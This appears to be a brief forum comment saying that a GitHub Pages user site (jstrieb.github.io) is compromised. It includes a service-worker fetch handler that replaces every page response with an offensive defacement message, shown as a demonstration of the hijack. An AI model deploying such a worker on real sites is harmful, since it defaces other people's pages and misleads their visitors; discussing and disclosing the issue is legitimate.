Just fetch it.
fetch("https://jstrieb.github.io/")
self.addEventListener('fetch', event => { event.respondWith( new Response('<h1>I murder kittens for fun</h1>', { headers: { 'Content-Type': 'text/html; charset=utf-8' } }) ); })
Just fetch it.
So yea, other sites on his github pages are compromised, that's true.